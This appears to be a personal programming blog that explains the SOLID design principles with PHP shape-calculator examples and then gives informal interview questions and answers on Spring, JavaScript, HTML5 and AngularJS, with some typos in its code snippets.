Monday, 9 September 2019

S.O.L.I.D: The First 5 Principles of Object Oriented Design (OOD)

S.O.L.I.D is an acronym for the first five object-oriented design(OOD)** principles** by Robert C. Martin, popularly known as Uncle Bob.

These principles, when combined together, make it easy for a programmer to develop software that are easy to maintain and extend. They also make it easy for developers to avoid code smells, easily refactor code, and are also a part of the agile or adaptive software development.

Note: this is just a simple "welcome to _S.O.L.I.D" article, it simply sheds light on what S.O.L.I.D is_.

Single-responsibility Principle
Open-closed Principle
Liskov substitution principle
Interface segregation principle
Dependency Inversion principle

Conclusion
S.O.L.I.D stands for: When expanded the acronyms might seem complicated, but they are pretty simple to grasp.

S - Single-responsiblity principle
O - Open-closed principle
L - Liskov substitution principle
I - Interface segregation principle
D - Dependency Inversion Principle
Let's look at each principle individually to understand why S.O.L.I.D can help make us better developers.

Single-responsibility Principle
S.R.P for short - this principle states that:

A class should have one and only one reason to change, meaning that a class should have only one job.

For example, say we have some shapes and we wanted to sum all the areas of the shapes. Well this is pretty simple right?

Essential Reading: Learn React from Scratch! (2019 Edition)
class Circle {
    public $radius;

    public function construct($radius) {
        $this->radius = $radius;
    }
}

class Square {
    public $length;

    public function construct($length) {
        $this->length = $length;
    }
}
First, we create our shapes classes and have the constructors setup the required parameters. Next, we move on by creating the AreaCalculator class and then write up our logic to sum up the areas of all provided shapes.

class AreaCalculator {

    protected $shapes;

    public function __construct($shapes = array()) {
        $this->shapes = $shapes;
    }

    public function sum() {
        // logic to sum the areas
    }

    public function output() {
        return implode('', array(
            "",
                "Sum of the areas of provided shapes: ",
                $this->sum(),
            ""
        ));
    }
}
To use the AreaCalculator class, we simply instantiate the class and pass in an array of shapes, and display the output at the bottom of the page.

$shapes = array(
    new Circle(2),
    new Square(5),
    new Square(6)
);

$areas = new AreaCalculator($shapes);

echo $areas->output();
The problem with the output method is that the AreaCalculator handles the logic to output the data. Therefore, what if the user wanted to output the data as json or something else?

All of that logic would be handled by the AreaCalculator class, this is what SRP frowns against; the AreaCalculator class should only sum the areas of provided shapes, it should not care whether the user wants json or HTML.

So, to fix this you can create an SumCalculatorOutputter class and use this to handle whatever logic you need to handle how the sum areas of all provided shapes are displayed.

The SumCalculatorOutputter class would work like this:

$shapes = array(
    new Circle(2),
    new Square(5),
    new Square(6)
);

$areas = new AreaCalculator($shapes);
$output = new SumCalculatorOutputter($areas);

echo $output->JSON();
echo $output->HAML();
echo $output->HTML();
echo $output->JADE();
Now, whatever logic you need to output the data to the user is now handled by the SumCalculatorOutputter class.

Open-closed Principle
Objects or entities should be open for extension, but closed for modification.

This simply means that a class should be easily extendable without modifying the class itself. Let's take a look at the AreaCalculator class, especially it's sum method.

public function sum() {
    foreach($this->shapes as $shape) {
        if(is_a($shape, 'Square')) {
            $area[] = pow($shape->length, 2);
        } else if(is_a($shape, 'Circle')) {
            $area[] = pi() * pow($shape->radius, 2);
        }
    }

    return array_sum($area);
}
If we wanted the sum method to be able to sum the areas of more shapes, we would have to add more if/else blocks and that goes against the Open-closed principle.

A way we can make this sum method better is to remove the logic to calculate the area of each shape out of the sum method and attach it to the shape's class.

class Square {
    public $length;

    public function __construct($length) {
        $this->length = $length;
    }

    public function area() {
        return pow($this->length, 2);
    }
}
The same thing should be done for the Circle class, an area method should be added. Now, to calculate the sum of any shape provided should be as simple as:

public function sum() {
    foreach($this->shapes as $shape) {
        $area[] = $shape->area();
    }

    return array_sum($area);
}
Now we can create another shape class and pass it in when calculating the sum without breaking our code. However, now another problem arises, how do we know that the object passed into the AreaCalculator is actually a shape or if the shape has a method named area?

Coding to an interface is an integral part of S.O.L.I.D, a quick example is we create an interface, that every shape implements:

interface ShapeInterface {
    public function area();
}

class Circle implements ShapeInterface {
    public $radius;

    public function __construct($radius) {
        $this->radius = $radius;
    }

    public function area() {
        return pi() * pow($this->radius, 2);
    }
}
In our AreaCalculator sum method we can check if the shapes provided are actually instances of the ShapeInterface, otherwise we throw an exception:

public function sum() {
    foreach($this->shapes as $shape) {
        if(is_a($shape, 'ShapeInterface')) {
            $area[] = $shape->area();
            continue;
        }

        throw new AreaCalculatorInvalidShapeException;
    }

    return array_sum($area);
}
Liskov substitution principle
Let q(x) be a property provable about objects of x of type T. Then q(y) should be provable for objects y of type S where S is a subtype of T.

All this is stating is that every subclass/derived class should be substitutable for their base/parent class.

Still making use of out AreaCalculator class, say we have a VolumeCalculator class that extends the AreaCalculator class:

class VolumeCalculator extends AreaCalulator {
    public function construct($shapes = array()) {
        parent::construct($shapes);
    }

    public function sum() {
        // logic to calculate the volumes and then return and array of output
        return array($summedData);
    }
}
In the SumCalculatorOutputter class:

class SumCalculatorOutputter {
    protected $calculator;

    public function __constructor(AreaCalculator $calculator) {
        $this->calculator = $calculator;
    }

    public function JSON() {
        $data = array(
            'sum' => $this->calculator->sum();
        );

        return json_encode($data);
    }

    public function HTML() {
        return implode('', array(
            '',
                'Sum of the areas of provided shapes: ',
                $this->calculator->sum(),
            ''
        ));
    }
}
If we tried to run an example like this:

$areas = new AreaCalculator($shapes);
$volumes = new AreaCalculator($solidShapes);

$output = new SumCalculatorOutputter($areas);
$output2 = new SumCalculatorOutputter($volumes);
The program does not squawk, but when we call the HTML method on the $output2 object we get an E_NOTICE error informing us of an array to string conversion.

To fix this, instead of returning an array from the VolumeCalculator class sum method, you should simply:

public function sum() {
    // logic to calculate the volumes and then return and array of output
    return $summedData;
}
The summed data as a float, double or integer.

Interface segregation principle
A client should never be forced to implement an interface that it doesn't use or clients shouldn't be forced to depend on methods they do not use.

Still using our shapes example, we know that we also have solid shapes, so since we would also want to calculate the volume of the shape, we can add another contract to the ShapeInterface:

interface ShapeInterface {
    public function area();
    public function volume();
}
Any shape we create must implement the volume method, but we know that squares are flat shapes and that they do not have volumes, so this interface would force the Square class to implement a method that it has no use of.

ISP says no to this, instead you could create another interface called SolidShapeInterface that has the volume contract and solid shapes like cubes e.t.c can implement this interface:

interface ShapeInterface {
    public function area();
}

interface SolidShapeInterface {
    public function volume();
}

class Cuboid implements ShapeInterface, SolidShapeInterface {
    public function area() {
        // calculate the surface area of the cuboid
    }

    public function volume() {
        // calculate the volume of the cuboid
    }
}
This is a much better approach, but a pitfall to watch out for is when type-hinting these interfaces, instead of using a ShapeInterface or a SolidShapeInterface.

You can create another interface, maybe ManageShapeInterface, and implement it on both the flat and solid shapes, this way you can easily see that it has a single API for managing the shapes. For example:

interface ManageShapeInterface {
    public function calculate();
}

class Square implements ShapeInterface, ManageShapeInterface {
    public function area() { /Do stuff here/ }

    public function calculate() {
        return $this->area();
    }
}

class Cuboid implements ShapeInterface, SolidShapeInterface, ManageShapeInterface {
    public function area() { /Do stuff here/ }
    public function volume() { /Do stuff here/ }

    public function calculate() {
        return $this->area() + $this->volume();
    }
}
Now in AreaCalculator class, we can easily replace the call to the area method with calculate and also check if the object is an instance of the ManageShapeInterface and not the ShapeInterface.

Dependency Inversion principle
The last, but definitely not the least states that:

Entities must depend on abstractions not on concretions. It states that the high level module must not depend on the low level module, but they should depend on abstractions.

This might sound bloated, but it is really easy to understand. This principle allows for decoupling, an example that seems like the best way to explain this principle:

class PasswordReminder {
    private $dbConnection;

    public function __construct(MySQLConnection $dbConnection) {
        $this->dbConnection = $dbConnection;
    }
}
First the MySQLConnection is the low level module while the PasswordReminder is high level, but according to the definition of D in S.O.L.I.D. which states that Depend on Abstraction not on concretions, this snippet above violates this principle as the PasswordReminder class is being forced to depend on the MySQLConnection class.

Later if you were to change the database engine, you would also have to edit the PasswordReminder class and thus violates Open-close principle.

The PasswordReminder class should not care what database your application uses, to fix this again we "code to an interface", since high level and low level modules should depend on abstraction, we can create an interface:

interface DBConnectionInterface {
    public function connect();
}
The interface has a connect method and the MySQLConnection class implements this interface, also instead of directly type-hinting MySQLConnection class in the constructor of the PasswordReminder, we instead type-hint the interface and no matter the type of database your application uses, the PasswordReminder class can easily connect to the database without any problems and OCP is not violated.

class MySQLConnection implements DBConnectionInterface {
    public function connect() {
        return "Database connection";
    }
}

class PasswordReminder {
    private $dbConnection;

    public function __construct(DBConnectionInterface $dbConnection) {
        $this->dbConnection = $dbConnection;
    }
}
According to the little snippet above, you can now see that both the high level and low level modules depend on abstraction.

Conclusion
Honestly, S.O.L.I.D might seem to be a handful at first, but with continuous usage and adherence to its guidelines, it becomes a part of you and your code which can easily be extended, modified, tested, and refactored without any problems.

Wednesday, 28 August 2019

Basics Spring Interview Questions and Answers

Q1) What is Spring Framework? What are some of the important features and advantages of Spring Framework?

Spring is one of the most widely used Java EE framework.
I like spring because it provides a lot of features and capabilities.
it has different modules for specific tasks such as Spring MVC , Spring JDBC , Spring Web, Spring AOP, Spring Security and Spring BOOT etc.
it can be used to achieve loose coupling between different components by implementing dependency injection and we can perform cross cutting tasks.

-------------------------------------------------------------------------

Lightweight and very highly used framework
Dependency Injection or Inversion of Control to write components that are independent of each other,
spring container takes care of wiring them together to achieve our work.
Spring IoC container manages Spring Bean life cycle and project specific configurations such as JNDI lookup.
Spring MVC framework can be used to create web applications as well as restful web services capable of returning XML as well as JSON response.
Support for transaction management, JDBC operations, File uploading, Exception Handling etc with very little configurations, either by using annotations or by spring bean configuration file.

Some of the advantages of using Spring Framework are:
-----------------------------------------------------

Reducing direct dependencies between different components of the application,
usually Spring IoC container is responsible for initializing resources or beans and inject them as dependencies.

Writing unit test cases are easy in Spring framework because our business logic doesn’t have direct dependencies with actual resource implementation classes. We can easily write a test configuration and inject our mock beans for testing purposes.

Reduces the amount of boiler-plate code, such as initializing objects, open/close resources.
I like JdbcTemplate class a lot because it helps us in removing all the boiler-plate code that comes with JDBC programming.

Spring framework is divided into several modules, it helps us in keeping our application lightweight. For example, if we don’t need Spring transaction management features, we don’t need to add that dependency in our project.

Spring framework support most of the Java EE features and even much more. It’s always on top of the new technologies, for example there is a Spring project for Android to help us write better code for native android applications. This makes spring framework a complete package and we don’t need to look after different framework for different requirements.




Q2) What do you understand by Dependency Injection or Inversion of control ?



How do we implement DI in Spring Framework?
What are the benefits of using Spring Tool Suite?
Name some of the important Spring Modules?
What do you understand by Aspect Oriented Programming?
What is Aspect, Advice, Pointcut, JointPoint and Advice Arguments in AOP?
What is the difference between Spring AOP and AspectJ AOP?
What is Spring IoC Container?
What is a Spring Bean?
What is the importance of Spring bean configuration file?
What are different ways to configure a class as Spring Bean?
What are different scopes of Spring Bean?
What is Spring Bean life cycle?
How to get ServletContext and ServletConfig object in a Spring Bean?
What is Bean wiring and @Autowired annotation?
What are different types of Spring Bean autowiring?
Does Spring Bean provide thread safety?
What is a Controller in Spring MVC?
What’s the difference between @Component, @Repository & @Service annotations in Spring?
What is DispatcherServlet and ContextLoaderListener?
What is ViewResolver in Spring?
What is a MultipartResolver and when its used?
How to handle exceptions in Spring MVC Framework?
How to create ApplicationContext in a Java Program?
Can we have multiple Spring configuration files?
What is ContextLoaderListener?
What are the minimum configurations needed to create Spring MVC application?
How would you relate Spring MVC Framework to MVC architecture?
How to achieve localization in Spring MVC applications?
How can we use Spring to create Restful Web Service returning JSON response?
What are some of the important Spring annotations you have used?
Can we send an Object as the response of Controller handler method?
How to upload file in Spring MVC Application?
How to validate form data in Spring Web MVC Framework?
What is Spring MVC Interceptor and how to use it?
What is Spring JdbcTemplate class and how to use it?
How to use Tomcat JNDI DataSource in Spring Web Application?
How would you achieve Transaction Management in Spring?
What is Spring DAO?
How to integrate Spring and Hibernate Frameworks?
What is Spring Security?
How to inject a java.util.Properties into a Spring Bean?
Name some of the design patterns used in Spring Framework?
What are some of the best practices for Spring Framework?

Basics Java Script questions need to know

Q1) What is JavaScript?

Ans: JavaScript is a scripting language most often used for client-side web development. there are two ways which are normally utilized by developers.

JavaScript is a lightweight, translated programming language with object-oriented capacities that allow you to incorporate intelligence with generally static HTML pages.

i) <script type="text/javascript"> tag inside the <head> element.

<head>
<title>Java script </title>
<script language="JavaScript" type="text/javascript">
  var name = "kumar "
  alert(name);
</script>
</head>

ii) If your script code is very large, then you can make a JavaScript file and include its way in the following way:

<head>
<title>javascript</title>
<script type="text/javascript" src="script.js"></script>
</head>


Q2) What is the difference between an alert box and a confirmation box?

Alert box shows one and only button which is the OK button while the Confirm box shows two buttons namely OK and cancel.

Q3) What is a prompt box?

A prompt box allows the user to enter input by providing a text box.

Q4) what are the datatype in JavaScript?

  String,Number,Boolean,Array,Object,Null,Undefined.

Q5) Javascript case sensitive?

 Yes!, absolutely Javascript is case sensitive

 i) The function getElementById is not the same as getElementbyID
 ii) var NAME=”kumar”; is not the same var name=”rangari”;

Q6) what is the difference between ‘==’ and ‘===’?

‘==’ checks for value equality,
Equality using "=="

var num = 0;
var obj = new String("0");
var str = "0";
var b = false;
print(num == num); // true
print(obj == obj); // true
print(str == str); // true
print(num == obj); // true
print(num == str); // true

‘===’ checks for both type and value.
Strict equality using ===

var num = 0;
var obj = new String("0");
var str = "0";
var b = false;
print(num === num); // true
print(obj === obj); // true
print(str === str); // true
print(num === obj); // false
print(num === str); // false


Q7) What is negative infinity?

It’s a number in JavaScript, derived by dividing negative number by zero.

Q8) Can you explain what isNaN function does?

isNaN function will check an argument and return TRUE if the argument does not seem to be a number.

Return true if the argument is not a number.

Q9) what is the different between write() vs writeln()?

i) document.write();
basic JavaScript commands is document.write. This simply prints the specified text to the page. To print message truly, enter the text in single quote marks inside parentheses like so:

document.write('Hello World!');
The code above will cause the phrase "Hello World!" to appear on the page.

You can also use document.write to print variables. Enter the variable name without quotes, like so:

var mytext = "Hello again";
document.write(mytext);

Note that if quote marks are placed around the variable name, the variable name itself will be printed (instead of the variable value). You can also combine variable values and text strings by using the + sign:

var colour1 = "blue";
var colour2 = "red";
document.write('<p>colour1: ' + colour1 + '<br>colour2: ' + colour2 + '</p>');

Notice the way the variable names are used literally as well as for passing the values. This will print the following:

colour1: blue
colour2: red
Remember, text inside quotes will be printed literally, text with no quotes is assumed to be a variable.

write() vs writeln()
--------------------

write():

Note that write() does NOT add a new line after each statementex: Hello World! Have a nice day!

writeln()

Note that writeln() add a new line after each statement:Hello World!

Have a nice day!


Q10) What are the  boolean operators does  JavaScript support?

&& – the “and” operator.
|| – the “or” operator.
 ! – the “not” operator.


Q11) How to create arrays in JavaScript?

Ans:There are two ways to create array in JavaScript like other languages:

  a) The first way to create array:  By Declare Array:

var names = new Array();

Add Elements in Array:-
names[0] = "jehanabad";
names[1] = "nishant";
names[2] = "kumar";

  b) This is the second way:

var names = new Array("jehanabad", "nishant", "kumar");


Q12) What is the difference between undefined and null?

The value of a variable with no value is undefined (i.e., it has not been initialized).

Var =a;
a is undefined

Variables can be emptied by setting their value to null.

Var a =null;
a is null


Q13) What is the HTML DOM?

Once a site page loads, your browser generates something called a DOM,, or Document Object Model, of the page. The DOM acts as programming interface for HTML, which defines HTML properties, events, and methods. It likewise refers to HTML elements as objects..

JavaScript relies on this DOM to alter the elements and attributes of a page, and create the dynamic websites

demonstrating the hierarchy of HTML DOM objects:

<document>
 
  <html>

     <head>
         <title> </title>
     </head>

     <body>
       -----
     </body>

  </html>

</document>


Q14) What are global variables? How are they declared? What are the problems with using globals?


Global variables are available throughout your code: that is, the variables have no scope.

Local variables scope, then again, is restricted to where it is declared (like within a function).

The var keyword is used to declare  a local  variable or object, while discarding the var keywordcreates a global variable.

Most JavaScript developers avoid globals. One reason why is they’re averse to naming conflicts between local and globals,

Also, code that depends on globals can be difficult to maintain and test.

local variable
var localVariable = "local"

global variable
globalVariable = "global"


Q15) Difference between window.onload and onDocumentReady?

The onload event does not fire until every last piece of the page is loaded, this includes css and images, which means there’s a huge delay before any code is executed.

That isnt what we want. We just want to wait until the DOM is loaded and is able to be manipulated. onDocumentReady allows the programmer to do that.


Q16) What do mean by NULL in JavaScript?

The NULL value is used to represent no value or no object. It implies no object or null string, no valid boolean value, no number and no array object.


Q17) What are Javascript closures?When would you use them?

closure is the local variables for a function – kept alive after the function has returned,
closure is a stack-frame which is not deallocated when the function returns.
closure takes place when a function creates an environment that binds local variables to it in such a way that they are kept alive after the function has returned.
closure is a special kind of object that combines two things: a function, and any local variables that were in-scope at the time that the closure was created.

function sayHello2(name) {
var text = ‘Hello ‘ + name; // local variable
var sayAlert = function() { alert(text); }
return sayAlert;
}

Closures reduce the need to pass state around the application. The inner function has accessto the variables in the external function so there is no need to  to store the information some place that the inner function can get it.

This is important when the inner function will be called after the function has exited. The most common example of this is when the inner function is being used to handle an event. In this case you get no control over the arguments that are passed to the function so using a closure to keep track of state can be very convenient.


Q18) How to determine the state of a checkbox using Javascript?

var checkedP = window.document.getElementById("myCheckBox").checked;

Q19) What does "7"+5+6 evaluate to?

Ans: Since 7 is a string, everything is a string, so the result is 756.

Q20) What is “this” keyword?

Ans. It refers to the current object.

Basics HTML5 Differences need to know

Q1) What is the difference between HTML and HTML5 ?

Ans:  HTML5 is nothing more then upgraded version of HTML where in HTML5 Lot of new future like

Audio/mp3,
Video,
date select function ,
Canvas,
2D/3D Graphics, 
placeholder ,
Local SQL Database

added so that no need to do external plugin like Flash player or other library.

Q2) What is the <!DOCTYPE> ? Is it necessary to use in HTML5 ?

The <!DOCTYPE> is an instruction to the web browser about what version of HTML the page is written in.
The <!DOCTYPE> tag does not have an end tag and It is not case sensitive.
The <!DOCTYPE> declaration must be the very first thing in HTML5 document, before the <html> tag.
As In HTML 4.01, all <! DOCTYPE > declarations require a reference to a Document Type Definition (DTD), because HTML 4.01 was based on Standard Generalized Markup Language (SGML). WHERE AS HTML5 is not based on SGML, and therefore does not require a reference to a Document Type Definition (DTD).


Q3) How many New Markup Elements you know in HTML5 ?

Below are the New Markup Elements or Tag Description added in HTML5
   
<article> Specifies independent, self-contained content, could be a news-article, blog post, forum post, or other articles which can be distributed independently from the rest of the site.

<aside> For content aside from the content it is placed in. The aside content should be related to the surrounding content

<bdi> For text that should not be bound to the text-direction of its parent elements

<command> A button, or a radiobutton, or a checkbox

<details> For describing details about a document, or parts of a document

<summary> A caption, or summary, inside the details element

<figure> For grouping a section of stand-alone content, could be a video

<figcaption> The caption of the figure section

<footer> For a footer of a document or section, could include the name of the author, the date of the document, contact information, or copyright information

<header> For an introduction of a document or section, could include navigation

<hgroup> For a section of headings, using <h1> to <h6>, where the largest is the main heading of the section, and the others are sub-headings

<mark> For text that should be highlighted

<meter> For a measurement, used only if the maximum and minimum values are known

<nav> For a section of navigation

<progress> The state of a work in progress

<ruby> For ruby annotation (Chinese notes or characters)

<rt> For explanation of the ruby annotation

<rp> What to show browsers that do not support the ruby element

<section> For a section in a document. Such as chapters, headers, footers, or any other sections of the document

<time> For defining a time or a date, or both

<wbr> Word break. For defining a line-break opportunity.


Q4) What are the  HTML5  New input Types ?

• search
• tel
• time
• color
• email
• month
• date
• datetime
• datetime-local
• number
• range
• url
• week

Q5) What are the HTML5 New Form Attributes?

• pattern
• placeholder
• required
• step
• autocomplete
• autofocus
• height and width
• list
• min and max
• multiple
• form
• formaction
• formenctype
• formmethod
• formnovalidate
• formtarget

Q6) What is SVG and advantages of SVG?

Ans:  SVG is a language for describing two-dimensional vector graphics in XML.

SVG stands for Scalable Vector Graphics
SVG is used to define vector-based graphics for the Web
SVG defines the graphics in XML format
SVG graphics do NOT lose any quality if they are zoomed or resized
Every element and every attribute in SVG files can be animated
SVG is a W3C recommendation

Q7) What are the Advantages of svg ?

Advantages of using SVG over other image formats (like JPEG and GIF) are:

SVG images can be created and edited with any text editor
SVG images can be searched, indexed, scripted, and compressed
SVG images are scalable
SVG images can be printed with high quality at any resolution
SVG images are zoomable (and the image can be zoomed without degradation)

Q8) What are the Differences Between SVG and Canvas:

Ans:  SVG is a language for describing 2D graphics in XML.

Canvas draws 2D graphics, on the fly (with a JavaScript).

SVG is XML based, which means that every element is available within the SVG DOM. You can attach JavaScript event handlers for an element.

In SVG, each drawn shape is remembered as an object. If attributes of an SVG object are changed, the browser can automatically re-render the shape.

Canvas is rendered pixel by pixel. In canvas, once the graphic is drawn, it is forgotten by the browser. If its position should be changed, the entire scene needs to be redrawn, including any objects that might have been covered by the graphic.


Q9) What the use of Canvas Element in HTML5?

Ans: The canvas element is used to draw graphics images on a web page by using javascript like below
  <canvas id=“pcdsCanvas” width=“500″ height=“400″>
  </canvas>
  <script type=“text/javascript”>
  var pcdsCanvas=document.getElementById(“phpzagCanvas”);
  var pcdsText=pcdsCanvas.getContext(“2d”);
  pcdsText.fillStyle=“#82345c”;
  pcdsText.fillRect(0,0,150,75);
  </script>


Q10) What are the New Media Elements in HTML5 ?

<audio> For multimedia content, sounds, music or other audio streams
<video> For video content, such as a movie clip or other video streams
<source>Defines multiple media resources for media elements, such as <video> and <audio> For embedded content, such as a plug-in
<track> For text tracks used in mediaplayers.


Q11) How to add video and audio in HTML5 ?

Ans:  Before HTML5, videos could only be played with a plug-in (like flash). However, different browsers supported different plug-ins.

HTML5 defines a new element which specifies a standard way to embed a video or movie on a web page: the <video> element.

Like below we can add video in html5

<video width=“200″ height=“150″ controls=“controls”>
             <source src=“video.mp4″ type=“video/mp4″ />
             <source src=“video.ogg” type=“video/ogg” />
</video>

And audio like this

<audio controls=“controls”>
        <source src=“audio.ogg” type=“audio/ogg” />
        <source src=“audio.mp3″ type=“audio/mpeg” />
</audio>


Q12) What is HTML5 Web Storage?

Ans:  In HTML5, we can store data locally within the user’s browser.It is possible to store large amounts of data without affecting the website’s performance.Web Storage is more secure and faster.
there are two types of Web Storages

1.LocalStorage: stores data locally with no limit

2.SessionStorage: stores data for one session


Q13) What is the use of localStorage in HTML5?

 Ans:  Before HTML5 LocalStores was done with cookies. Cookies are not very good for large amounts of data, because they are passed on by every request to the server, so it was very slow and in-effective.
In HTML5, the data is NOT passed on by every server request, but used ONLY when asked for. It is possible to store large amounts of data without affecting the website’s performance.and The data is stored in different areas for different websites, and a website can only access data stored by itself.
And for creating localstores just need to call localStorage object like below we are storing name and address

<script type=“text/javascript”>
             localStorage.name=“kumar”;
            document.write(localStorage.name);
</script>

<script type=“text/javascript”>
 localStorage.address=“hyderabad”;
 document.write(localStorage.address);
</script>

Q14) What is the  use of sessionStorage Object in html5 ?

Ans: The sessionStorage object stores the data for one session. The data is deleted when the user closes the browser window. like below we can create and access a sessionStorage here we created “name” as session

<script type=“text/javascript”>
          sessionStorage.name=“kumar”;
         document.write(sessionStorage.name);
</script>


Angular JS Basics Understandings

Q1) What is AngularJS?

It is javasScript framework which is written in javascript.
It is Best for Single Page Applications.
It is open source (free to use).
It extend the html with new attributes which makes it more useful for UI Developer.
It was first released in 2009.
Misko Hevery started to work on AngularJS in 2009. He was employee of Google.

Q2) what are the key features of Angular.js?

Scope, Controller, Model, View, Services, Data Binding, Directives, Filters, Testable. Routing etc.

Q3) What are Controllers in AngularJS?

Controllers are Javascript functions which provide data and logic to HTML UI.
As the name suggests, they control how data flows from the server to HTML UI.
Controller is constructor function in Angular Controller.
When a Controller is attached to the DOM with use the ng-controller, Angular will instantiate a new Controller object using constructor function.

<div ng-app="" ng-controller="StrControllerExample">
String 1: <input ng-model="str1" type="text" /><br />
String 2: <input ng-model="str2" type="text" /><br />
Full String <b> {{fullString()}}</b>
</div>
<script>
function StrControllerExample($scope) {
    $scope.str1 = "Web",
    $scope.str2 = "Technology",
    $scope.fullString = function() {
        return $scope.str1+ " " + $scope.str2;
    }
}
</script>

Q4) what are directives?

Directives are used to add new attributes of HTML.
It is something that introduces new syntax, they are like markers on DOM element which attaches a special behavior to it.
Some of the commonly used directives are ng-model, ng-App, ng-bind, ng-repeat , ng-show etc.
Directives are attributes that allow you to invent new HTML syntax, specific to your application.
They are essentially functions that execute when the Angular compiler finds them in the DOM. 
Some of the most commonly used directives are ng-app,ng-controller and ng-repeat.

The different types of directives are: Element directives, Attribute directives, CSS class directives, Comment directives

On which types of component can we create a custom directive?
-------------------------------------------------------------
AngularJS provides support to create custom directives for the following:

Element directives − Directive activates when a matching element is encountered.
Attribute − Directive activates when a matching attribute is encountered.
CSS − Directive activates when a matching css style is encountered.
Comment − Directive activates when a matching comment is encountered.


Q5) what is scope in AngularJS ?

Scope refers to the application model, it acts like glue between application controller and the view.  Scopes are arranged in hierarchical structure and impersonate the DOM ( Document Object Model) structure of the application.  It can watch expressions and propagate events.

Q6) what is services in AngularJS ?

In AngularJS services are the singleton objects or functions that are used for carrying out specific tasks.  It holds some business logic and these function can be called as controllers, directive, filters and so on.

Q7) what is data binding in AngularJS ?

Automatic synchronization of data between the model and view components is referred as data binding in AngularJS.  There are two ways for data binding

Data mining in classical template systems
Data binding in angular templates

Q8) what Angular JS routes does ?

Angular js routes enable you to create different URLs for different content in your application.  Different URLs for different content enables user to bookmark URLs to specific content.  Each such bookmarkable URL in AngularJS is called a route

A value in Angular JS is a simple object.  It can be a number, string or JavaScript object.  Values are typically used as configuration injected into factories, services or controllers. A value should be belong to an AngularJS module.

Injecting a value into an AngularJS controller function is done by adding a parameter with the same name as the value

It is a five-step process to implement routing in AngularJS :

Step 1: – Add the “Angular-route.js” file to your view.
Step 2: – Inject “ngroute” functionality while creating Angular app object.
Step 3: – Configure the route provider.
Step 4: – Define hyperlinks.
Step 5: – Define sections where to load the view.


Q9) what is linking function and type of linking function?

Link combines the directives with a scope and produce a live view.  For registering DOM listeners as well as updating the DOM, link function is responsible. After the template is cloned it is executed.

Pre-linking function: Pre-linking function is executed before the child elements are linked.  It is not considered as the safe way for DOM transformation.
Post linking function: Post linking function is executed after the child elements are linked. It is safe to do DOM transformation by post-linking function

Q10) what is factory method in AngularJS?

For creating the directive, factory method is used.  It is invoked only once, when compiler matches the directive for the first time.  By using $injector.invoke the factory method is invoked.

Factory method is used for creating a directive.  It is invoked when the compiler matches the directive for the first time. We can invoke the factory method using $injector.invoke.

Syntax: module.factory( 'factoryName', function );
Result: When declaring factoryName as an injectable argument you will be provided with the value that is returned by invoking the function reference passed to module.factory.

Q11) what are the styling form that ngModel adds to CSS classes ?

ngModel adds these CSS classes to allow styling of form as well as control

ng- valid
ng- invalid
ng-pristine
ng-dirty

Q12) what are the characteristics of “Scope”?

To observer model mutations scopes provide APIs ($watch)
To propagate any model changes through the system into the view from outside of the Angular realm
A scope inherits properties from its parent scope,  while providing access to shared model properties, scopes can be nested to isolate application components
Scope provides context against which expressions are evaluated

Q13) what is DI (Dependency Injection ) and how an object or function can get a hold of its dependencies ?

DI or Dependency Injection is a software design pattern that deals with how code gets hold of its dependencies.  In order to retrieve elements of the application which is required to be configured when module gets loaded , the operation “config” uses dependency injection.

These are the ways that object uses to hold of its dependencies

Typically using the new operator, dependency can be created
By referring to a global variable, dependency can be looked up
Dependency can be passed into where it is required

Q14) What is ng-app, ng-init and ng-model?

ng-app : Initializes application.
ng-model : Binds HTML controls to application data.
ng-Controller : Attaches a controller class to view.
ng-repeat : Bind repeated data HTML elements. Its like a for loop.
ng-if : Bind HTML elements with condition.
ng-show : Used to show the HTML elements.
ng-hide : Used to hide the HTML elements.
ng-class : Used to assign CSS class.
ng-src : Used to pass the URL image etc.

Q15) Can AngularJS have multiple ng-app directives in a single page?
No. Only one AngularJS application can be auto-bootstrapped per HTML document. The first ngApp found in the document will be used to define the root element to auto-bootstrap as an application. If another ng-app directive has been placed then it will not be processed by AngularJS and we will need to manually bootstrap the second app, instead of using second ng-app directive.

Q16) Can angular applications (ng-app) be nested within each other?

No. AngularJS applications cannot be nested within each other.

Q17) Does Angular use the jQuery library?

Yes, Angular can use jQuery if it’s present in the app when the application is being bootstrapped. If jQuery is not present in the script path, Angular falls back to its own implementation of the subset of jQuery that we call jQLite.

Q18) Can we have nested controllers in AngularJS?

Yes, we can create nested controllers in AngularJS. Nested controllers are defined in hierarchical manner while using in View.

Q19) What does SPA (Single Page Application) mean? How can we implement SPA with Angular?
Single Page Applications (SPAs) are web apps that load a single HTML page and dynamically update that page as the user interacts with the app. In an SPA the page never reloads, though parts of the page may refresh. This reduces the round trips to the server to a minimum.

It’s a concept where we create a single shell page or master page and load the webpages inside that master page instead of loading pages from the server by doing post backs. We can implement SPA with Angular using Angular routes. You can read up about SPAs here.

Q20) What is bootstrapping in AngularJS?
Bootstrapping in AngularJS is nothing but initializing, or starting the Angular app. AngularJS supports automatic and manual bootstrapping.

Automatic Bootstrapping: this is done by adding ng-app directive to the root of the application, typically on the tag or tag if you want angular to bootstrap your application automatically. When angularJS finds ng-app directive, it loads the module associated with it and then compiles the DOM.
Manual Bootstrapping: Manual bootstrapping provides you more control on how and when to initialize your angular App. It is useful where you want to perform any other operation before Angular wakes up and compile the page.

Q21) Explain $q service, deferred and promises.

‘Promises’ are post processing logics which are executed after some operation/action is completed whereas ‘deferred’ is used to control how and when those promise logics will execute.
We can think about promises as “WHAT” we want to fire after an operation is completed while deferred controls “WHEN” and “HOW” those promises will execute.
“$q” is the angular service which provides promises and deferred functionality.

Q22) What is internationalization and how to implement it in AngularJS?

Internationalization is a way in which you can show locale specific information on a website. AngularJS supports inbuilt internationalization for three types of filters: currency, date and numbers. To implement internalization, we only need to incorporate corresponding js according to locale of the country. By default it handles the locale of the browser.

Q23) what is injector in AngularJS?

An injector is a service locator, used to retrieve object instance as defined by provider, instantiate types, invoke methods, and load modules.
 
Q24) difference between link and compile in Angular.js?

Compile function is used for template DOM Manipulation and to collect all the directives.
Link function is used for registering DOM listeners as well as instance DOM manipulation and is executed once the template has been cloned.

Q25) What is Angular Expression? How do you differentiate between Angular expressions and JavaScript expressions?
Angular expressions are code snippets that are usually placed in binding such as {{ expression }} similar to JavaScript.

The main differences between Angular expressions and JavaScript expressions are:

Context : The expressions are evaluated against a scope object in Angular, while Javascript expressions are evaluated against the global window
Forgiving: In Angular expression, the evaluation is forgiving to null and undefined whereas in JavaScript undefined properties generate TypeError or ReferenceError
No Control Flow Statements: We cannot use loops, conditionals or exceptions in an Angular expression
